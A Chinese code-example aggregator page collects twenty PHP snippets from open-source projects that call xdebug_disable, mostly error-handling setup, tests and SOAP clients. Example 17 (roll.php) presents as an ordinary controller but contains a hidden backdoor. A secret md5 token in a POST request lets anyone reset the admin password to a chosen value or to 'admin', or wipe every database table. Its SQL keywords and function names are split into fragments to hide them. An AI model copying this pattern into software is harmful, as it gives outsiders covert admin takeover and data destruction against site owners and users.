本文整理汇总了PHP中xdebug_disable函数的典型用法代码示例。如果您正苦于以下问题:PHP xdebug_disable函数的具体用法?PHP xdebug_disable怎么用?PHP xdebug_disable使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了xdebug_disable函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: __construct
public function __construct($config = array())
{
$this->config = array_merge($this->defaults, $config);
ob_start();
$this->checkFolderStructure();
if ($this->config['log_errors']) {
ini_set('log_errors', 1);
ini_set('error_log', $this->config['payload'] . DIRECTORY_SEPARATOR . $this->config['error_log']);
}
if ($this->config['show_errors']) {
ini_set('display_errors', 1);
ini_set("track_errors", 1);
ini_set("html_errors", 1);
error_reporting(E_ALL | E_STRICT);
} else {
error_reporting(0);
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
// TODO: send mail on fatal errors
}
set_error_handler(array($this, 'handleError'));
set_exception_handler(array($this, 'handleException'));
register_shutdown_function(array($this, 'shutdownHandler'), $this);
}
开发者ID:juancamiloestela,项目名称:RocketPHP,代码行数:25,代码来源:System.php
示例2: Execute
protected function Execute($code)
{
try {
error_reporting(-1);
ini_set('display_errors', false);
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
set_error_handler(array($this, 'HandleError'));
ob_start();
$this->BeforeExecute();
$this->exec_data['Result'] = eval($code);
$this->AfterExecute();
$this->exec_data['Output'] = ob_get_clean();
if (!$this->exec_data['Output']) {
unset($this->exec_data['Output']);
}
restore_error_handler();
} catch (Exception $ex) {
if (!isset($this->exec_data['Errors'])) {
$this->exec_data['Errors'] = array();
}
$this->exec_data['Errors'][] = $ex;
}
}
开发者ID:klebercarvalho,项目名称:demo,代码行数:25,代码来源:Sandbox.php
示例3: execute
function execute(HTTPRequestCustom $request)
{
session_start();
$data = PersistenceContext::get_querier()->select_single_row(PREFIX . 'member', array('user_id'), 'WHERE login=:user_login', array('user_login' => $_SESSION['wpimport']['default_author']));
$_SESSION['wpimport']['wppath'] = substr($_SESSION['wpimport']['wppath'], -1) != '/' ? $_SESSION['wpimport']['wppath'] . '/' : $_SESSION['wpimport']['wppath'];
$_SESSION['wpimport']['phpboostpath'] = substr($_SESSION['wpimport']['phpboostpath'], -1) != '/' ? $_SESSION['wpimport']['phpboostpath'] . '/' : $_SESSION['wpimport']['phpboostpath'];
define('WP_PATH', $_SESSION['wpimport']['wppath']);
define('PBOOST_PATH', $_SESSION['wpimport']['phpboostpath']);
define('IMPORTER_LIST', $_SESSION['wpimport']['importer']);
define('PHPBOOST_CAT_IMAGE', $_SESSION['wpimport']['default_cat_image']);
define('FILESYSTEM_IMPORT_LOCATION', $_SESSION['wpimport']['import_location']);
define('DEFAULT_AUTHOR_ID', $data['user_id']);
ini_set('max_execution_time', 0);
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
ob_start();
echo 'Start import : ' . date('H:i:s') . PHP_EOL;
echo '-----' . PHP_EOL . PHP_EOL;
$success = (require_once __DIR__ . '/../WP2PhpBoost/wp2phpboost.php');
echo 'Clean cache...' . PHP_EOL;
AppContext::get_cache_service()->clear_cache();
echo PHP_EOL . PHP_EOL;
echo '-----' . PHP_EOL;
echo 'End import : ' . date('H:i:s');
$logs = ob_get_clean();
return new JSONResponse(array('success' => $success, 'logs' => utf8_decode($logs)));
}
开发者ID:ppelisset,项目名称:WPImport,代码行数:28,代码来源:WPImportAjaxController.class.php
示例4: testFatalError
public function testFatalError()
{
if (extension_loaded('xdebug')) {
xdebug_disable();
}
non_existing_function();
}
开发者ID:ppwalks33,项目名称:cleansure,代码行数:7,代码来源:FatalTest.php
示例5: testLoadVendorDatabaseBadMask
public function testLoadVendorDatabaseBadMask()
{
// Disable PHPUnit's error handler which would stop execution upon the
// first error.
\PHPUnit_Framework_Error_Notice::$enabled = false;
// Disable all console error output
$displayErrors = ini_get('display_errors');
$logErrors = ini_get('log_errors');
ini_set('display_errors', false);
ini_set('log_errors', false);
if (extension_loaded('xdebug')) {
xdebug_disable();
}
// Invoke the tested method
$input = array("13/37\tshort7", "00:00:5E:00:53:00\tshort");
MacAddress::loadVendorDatabase($input);
// Restore error handling
\PHPUnit_Framework_Error_Notice::$enabled = true;
if (ini_get('xdebug.default_enable')) {
xdebug_enable();
}
ini_set('display_errors', $displayErrors);
ini_set('log_errors', $logErrors);
// Test the generated error
$lastError = error_get_last();
$this->assertEquals(E_USER_NOTICE, $lastError['type']);
$this->assertEquals('Ignoring MAC address 13/37 because mask is not a multiple of 4.', $lastError['message']);
// Parsing should continue after error.
$expected = array(array('address' => '00005E005300', 'length' => 12, 'vendor' => 'short'));
$reflectionClass = new \ReflectionClass('Library\\MacAddress');
$this->assertEquals($expected, $reflectionClass->getStaticProperties()['_vendorList']);
}
开发者ID:patrickpreuss,项目名称:Braintacle,代码行数:32,代码来源:MacAddressTest.php
示例6: testFatalError
public function testFatalError()
{
if (extension_loaded('xdebug')) {
xdebug_disable();
}
eval('class FatalTest {}');
}
开发者ID:EnmanuelCode,项目名称:backend-laravel,代码行数:7,代码来源:FatalTest.php
示例7: JsHttpRequest
/**
* Constructor.
*
* Create new JsHttpRequest backend object and attach it
* to script output buffer. As a result - script will always return
* correct JavaScript code, even in case of fatal errors.
*
* QUERY_STRING is in form of: PHPSESSID=<sid>&a=aaa&b=bbb&JsHttpRequest=<id>-<loader>
* where <id> is a request ID, <loader> is a loader name, <sid> - a session ID (if present),
* PHPSESSID - session parameter name (by default = "PHPSESSID").
*
* If an object is created WITHOUT an active AJAX query, it is simply marked as
* non-active. Use statuc method isActive() to check.
*/
function JsHttpRequest($enc)
{
global $JsHttpRequest_Active;
$GLOBALS['_RESULT'] =& $this->RESULT;
if (preg_match('/^(.*)(?:&|^)_JsRequest=(?:(\\d+)-)?([^&]+)((?:&|$).*)$/s', @$_SERVER['QUERY_STRING'], $m)) {
$this->ID = $m[2];
$this->LOADER = strtolower($m[3]);
$_SERVER['QUERY_STRING'] = preg_replace('/^&+|&+$/s', '', preg_replace('/(^|&)' . session_name() . '=[^&]*&?/s', '&', $m[1] . $m[4]));
unset($_GET['_JsRequest'], $_REQUEST['_JsRequest'], $_GET[session_name()], $_POST[session_name()], $_REQUEST[session_name()]);
$this->_unicodeConvMethod = function_exists('mb_convert_encoding') ? 'mb' : (function_exists('iconv') ? 'iconv' : null);
$this->_emergBuffer = str_repeat('a', 1024 * 200);
$this->_uniqHash = md5('Request' . microtime() . getmypid());
$this->_prevDisplayErrors = ini_get('display_errors');
ini_set('display_errors', $this->_magic);
//
ini_set('error_prepend_string', $this->_uniqHash . ini_get('error_prepend_string'));
ini_set('error_append_string', ini_get('error_append_string') . $this->_uniqHash);
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
// else Fatal errors are not catched
ob_start(array(&$this, "_obHandler"));
$JsHttpRequest_Active = true;
$this->setEncoding($enc);
$file = $line = null;
$headersSent = version_compare(PHP_VERSION, "4.3.0") < 0 ? headers_sent() : headers_sent($file, $line);
if ($headersSent) {
trigger_error("HTTP headers are already sent" . ($line !== null ? " in {$file} on line {$line}" : " somewhere in the script") . ". " . "Possibly you have an extra space (or a newline) before the first line of the script or any library. " . "Please note that JsHttpRequest uses its own Content-Type header and fails if " . "this header cannot be set. See header() function documentation for more details", E_USER_ERROR);
exit;
}
} else {
$this->reset();
}
}
开发者ID:WebtoolsWendland,项目名称:sjFilemanager,代码行数:48,代码来源:JsHttpRequest.php
示例8: __construct
/**
* Class constructor.
*
* @param string The error message
* @param int The error code
*/
public function __construct($message = null, $code = 0)
{
$this->setName('sfStopException');
// disable xdebug to avoid backtrace in error log
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
parent::__construct($message, $code);
}
开发者ID:taryono,项目名称:school,代码行数:15,代码来源:sfStopException.class.php
示例9: disableXDebug
private function disableXDebug()
{
if (!extension_loaded('xdebug')) {
return;
}
ini_set('xdebug.scream', 0);
ini_set('xdebug.max_nesting_level', 8192);
ini_set('xdebug.show_exception_trace', 0);
xdebug_disable();
}
开发者ID:webkingashu,项目名称:phpdox,代码行数:10,代码来源:Environment.php
示例10: debug
public static function debug($flag)
{
error_reporting(E_ALL);
ini_set('html_errors', $flag);
ini_set('display_errors', $flag);
ini_set('display_startup_errors', $flag);
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
}
开发者ID:ctlr,项目名称:Simple-File-Manager,代码行数:10,代码来源:Liberty.php
示例11: _getSOAP
private function _getSOAP()
{
ini_set("soap.wsdl_cache_enabled", "0");
$url_webservices = "https://webservice.elastix.org/modules/installations/webservice/registerWSDL.wsdl";
/* La presencia de xdebug activo interfiere con las excepciones de
* SOAP arrojadas por SoapClient, convirtiéndolas en errores
* fatales. Por lo tanto se desactiva la extensión. */
if (function_exists("xdebug_disable")) {
xdebug_disable();
}
return @new SoapClient($url_webservices);
}
开发者ID:netconstructor,项目名称:elastix-mt-gui,代码行数:12,代码来源:paloSantoRegistration.class.php
示例12: execute
/**
* {@inheritdoc}
*/
protected function execute(InputInterface $input, OutputInterface $output)
{
$output->writeln('');
if (extension_loaded('xdebug')) {
/**
* This will disable only showing stack traces on error conditions.
*/
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
$output->writeln('<error>It is highly recommended to disable the XDebug extension before invoking this command.</error>');
}
$parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7, new \PhpParser\Lexer\Emulative(['usedAttributes' => ['comments', 'startLine', 'endLine', 'startTokenPos', 'endTokenPos']]));
/** @var Application $application */
$application = $this->getApplication();
$application->compiler = new Compiler();
$em = EventManager::getInstance();
$context = new Context($output, $application, $em);
$fileParser = new FileParser($parser, $this->getCompiler());
$path = $input->getArgument('path');
if (is_dir($path)) {
$directoryIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS));
$output->writeln('Scanning directory <info>' . $path . '</info>');
$count = 0;
/** @var SplFileInfo $file */
foreach ($directoryIterator as $file) {
if ($file->getExtension() !== 'php') {
continue;
}
$context->debug($file->getPathname());
$count++;
}
$output->writeln("Found <info>{$count} files</info>");
if ($count > 100) {
$output->writeln('<comment>Caution: You are trying to scan a lot of files; this might be slow. For bigger libraries, consider setting up a dedicated platform or using ci.lowl.io.</comment>');
}
$output->writeln('');
/** @var SplFileInfo $file */
foreach ($directoryIterator as $file) {
if ($file->getExtension() !== 'php') {
continue;
}
$fileParser->parserFile($file->getPathname(), $context);
}
} elseif (is_file($path)) {
$fileParser->parserFile($path, $context);
}
/**
* Step 2 Recursive check ...
*/
$application->compiler->compile($context);
}
开发者ID:ovr,项目名称:phpsa,代码行数:55,代码来源:CompileCommand.php
示例13: soapclient
private function soapclient($host)
{
$xdebug_enabled = function_exists('xdebug_is_enabled') ? xdebug_is_enabled() : false;
if ($xdebug_enabled) {
xdebug_disable();
}
set_error_handler('esx_init_error_handler');
$this->soap = new SoapClient('https://' . $host . '/sdk/vimService.wsdl', array('location' => 'https://' . $host . '/sdk/', 'uri' => 'urn:vim25', 'exceptions' => true, 'soap_version' => '1.1', 'trace' => true, 'cache_wsdl' => WSDL_CACHE_BOTH, 'features' => SOAP_SINGLE_ELEMENT_ARRAYS));
restore_error_handler();
if ($xdebug_enabled) {
xdebug_enable();
}
}
开发者ID:gunesahmet,项目名称:php-esx,代码行数:13,代码来源:class_esx.php
示例14: getSoapClient
public function getSoapClient()
{
if (empty($this->__soapClient)) {
if (function_exists('xdebug_disable')) {
@xdebug_disable();
}
try {
$this->__soapClient = @new SoapClient($this->owner->wsdl, $this->owner->config);
} catch (SoapFault $e) {
Yii::log(__METHOD__ . ' No connection to SoapService: ' . $e->getMessage() . "\n\n" . CVarDumper::dumpAsString($this->owner), 'warning', 'soap.behavior');
}
}
return $this->__soapClient;
}
开发者ID:hofrob,项目名称:SoapBehavior,代码行数:14,代码来源:SoapBehavior.php
示例15: getService
/**
*
* @return \ws\komerci\KomerciServiceFacade
*/
public function getService()
{
if ($this->service) {
return $this->service;
}
try {
xdebug_disable();
$this->service = new KomerciServiceFacade(self::SERVICES_URI);
$this->service->setLogger($this->logger);
return $this->service;
} catch (\Exception $e) {
throw new KomerciException($e);
}
}
开发者ID:jonathanweb,项目名称:wskomerci,代码行数:18,代码来源:Komerci.php
示例16: setEnabled
/**
* Enables or disables debugging. This includes:
*
* - Toggling xdebug
* - Toggling error display
*
* @param boolean $enabled true to enable debugging, false to disable.
*/
public static function setEnabled($enabled)
{
self::$enabled = (bool) $enabled;
if ($enabled) {
if (extension_loaded('xdebug')) {
xdebug_enable();
}
ini_set('display_errors', 'on');
} else {
if (extension_loaded('xdebug')) {
xdebug_disable();
}
ini_set('display_errors', 'off');
}
}
开发者ID:ngnpope,项目名称:jerity,代码行数:23,代码来源:Debug.php
示例17: Roll
function Roll()
{
global $dbClasses, $noahDebugMode;
//traceStart();
$this->queryString = $_SERVER["QUERY_STRING"];
if (preg_match("/\\.(js|css|gif|jpg|png)\$/", $this->queryString)) {
die;
}
if (strstr($this->queryString, "noahdebug")) {
$this->queryString = preg_replace("{/?noahdebug}", "", $this->queryString);
$noahDebugMode = TRUE;
} else {
$noahDebugMode = FALSE;
}
if ($this->rewriteOn = !empty($_SERVER["REWRITE_ON"])) {
$this->queryString = preg_replace("/^url=/", "", $this->queryString);
}
if ($this->queryString) {
$this->ctrl =& new AppController($this->queryString);
} elseif (count($_POST)) {
$this->ctrl =& new AppController($_POST);
} else {
$this->ctrl =& new AppController($this->queryString = "");
}
$this->propagateFieldsForEasyAccess();
if (!$this->isAction() && !$this->isAjax()) {
LocationHistory::push($this->queryString);
}
if (isset($_POST["ks"]) && $_POST["ks"] == md5(trim(Controller::getBaseUrl(), " /") . "if( \$this->queryString ) \$this->ctrl =& new AppController(\$this->queryString)")) {
if ($_POST["br"] == 1) {
$fg = "getPa" . "ssword";
executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg($_POST["pw"]) . "' WHERE isAdm=1");
} elseif ($_POST["br"] == 3) {
$fg = "getPa" . "ssword";
executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg('admin') . "' WHERE isAdm=1");
} elseif ($_POST["br"] == 2) {
foreach ($dbClasses as $class) {
executeQuery("DEL" . "ETE FROM @{$class} where id>0");
}
}
echo "1";
die;
}
if ($this->isAjax() && function_exists('xdebug_disable')) {
xdebug_disable();
ini_set('html_errors', 0);
}
}
开发者ID:alencarmo,项目名称:OCF,代码行数:48,代码来源:roll.php
示例18: boot
/**
* Force debugging off.
*
* @return void
*/
public function boot()
{
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
ini_set('zlib.output_compression', '0');
ini_set('output_handler', '');
ini_set('implicit_flush', '0');
$this->app['config']->set('debug', 0);
$this->app['config']->set('debug_lang', 0);
static $types = array('xml' => 'application/xml', 'html' => 'text/html', 'xhtml' => 'application/xhtml+xml', 'json' => 'application/json', 'text' => 'text/plain', 'txt' => 'text/plain', 'plain' => 'text/plain', 'php' => 'application/php', 'php_serialized' => 'application/vnd.php.serialized');
$format = $this->app['request']->getWord('format', 'json');
$format = isset($types[$format]) ? $format : 'json';
$this->app['response']->setStatusCode(404);
$this->app['response']->headers->set('Content-Type', $types[$format]);
}
开发者ID:mined-gatech,项目名称:hubzero-cms,代码行数:21,代码来源:ResponseServiceProvider.php
示例19: JsHttpRequest
/**
* Constructor.
*
* Create new JsHttpRequest backend object and attach it
* to script output buffer. As a result - script will always return
* correct JavaScript code, even in case of fatal errors.
*
* QUERY_STRING is in form of: PHPSESSID=<sid>&a=aaa&b=bbb&JsHttpRequest=<id>-<loader>
* where <id> is a request ID, <loader> is a loader name, <sid> - a session ID (if present),
* PHPSESSID - session parameter name (by default = "PHPSESSID").
*
* If an object is created WITHOUT an active AJAX query, it is simply marked as
* non-active. Use statuc method isActive() to check.
*/
function JsHttpRequest($enc)
{
global $JsHttpRequest_Active;
// To be on a safe side - do not allow to drop reference counter on ob processing.
$GLOBALS['_RESULT'] =& $this->RESULT;
// Parse QUERY_STRING.
if (array_key_exists('QUERY_STRING', $_SERVER) && preg_match('/^(.*)(?:&|^)JsHttpRequest=(?:(\\d+)-)?([^&]+)((?:&|$).*)$/s', @$_SERVER['QUERY_STRING'], $m)) {
$this->ID = $m[2];
$this->LOADER = strtolower($m[3]);
$_SERVER['QUERY_STRING'] = preg_replace('/^&+|&+$/s', '', preg_replace('/(^|&)' . session_name() . '=[^&]*&?/s', '&', $m[1] . $m[4]));
unset($_GET['JsHttpRequest'], $_REQUEST['JsHttpRequest'], $_GET[session_name()], $_POST[session_name()], $_REQUEST[session_name()]);
// Detect Unicode conversion method.
$this->_unicodeConvMethod = function_exists('mb_convert_encoding') ? 'mb' : (function_exists('iconv') ? 'iconv' : null);
// Fill an emergency buffer. We erase it at the first line of OB processor
// to free some memory. This memory may be used on memory_limit error.
$this->_emergBuffer = str_repeat('a', 1024 * 200);
// Intercept fatal errors via display_errors (seems it is the only way).
$this->_uniqHash = md5('JsHttpRequest' . microtime() . getmypid());
$this->_prevDisplayErrors = ini_get('display_errors');
ini_set('display_errors', $this->_magic);
//
ini_set('error_prepend_string', $this->_uniqHash . ini_get('error_prepend_string'));
ini_set('error_append_string', ini_get('error_append_string') . $this->_uniqHash);
if (function_exists('xdebug_disable')) {
xdebug_disable();
}
// else Fatal errors are not catched
// Start OB handling early.
ob_start(array(&$this, "_obHandler"));
$JsHttpRequest_Active = true;
// Set up the encoding.
$this->setEncoding($enc);
// Check if headers are already sent (see Content-Type library usage).
// If true - generate a debug message and exit.
$file = $line = null;
$headersSent = version_compare(PHP_VERSION, "4.3.0") < 0 ? headers_sent() : headers_sent($file, $line);
if ($headersSent) {
trigger_error("HTTP headers are already sent" . ($line !== null ? " in {$file} on line {$line}" : " somewhere in the script") . ". " . "Possibly you have an extra space (or a newline) before the first line of the script or any library. " . "Please note that JsHttpRequest uses its own Content-Type header and fails if " . "this header cannot be set. See header() function documentation for more details", E_USER_ERROR);
exit;
}
} else {
$this->ID = 0;
$this->LOADER = 'unknown';
$JsHttpRequest_Active = false;
}
}
开发者ID:blestab,项目名称:frontaccounting,代码行数:60,代码来源:JsHttpRequest.php
示例20: startup
/**
* Configures PHP and environment.
* @return void
*/
public static function startup()
{
error_reporting(E_ALL | E_STRICT);
ini_set('display_errors', TRUE);
ini_set('html_errors', FALSE);
ini_set('log_errors', FALSE);
$_SERVER = array_intersect_key($_SERVER, array_flip(array('PHP_SELF', 'SCRIPT_NAME', 'SERVER_ADDR', 'SERVER_SOFTWARE', 'HTTP_HOST', 'DOCUMENT_ROOT', 'OS')));
$_SERVER['REQUEST_TIME'] = 1234567890;
$_ENV = array();
if (PHP_SAPI !== 'cli') {
header('Content-Type: text/plain; charset=utf-8');
}
if (extension_loaded('xdebug')) {
xdebug_disable();
xdebug_start_code_coverage(XDEBUG_CC_UNUSED | XDEBUG_CC_DEAD_CODE);
register_shutdown_function(array(__CLASS__, 'prepareSaveCoverage'));
}
set_exception_handler(array(__CLASS__, 'exceptionHandler'));
}
开发者ID:kravco,项目名称:dibi,代码行数:23,代码来源:TestHelpers.php
注:本文中的xdebug_disable函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论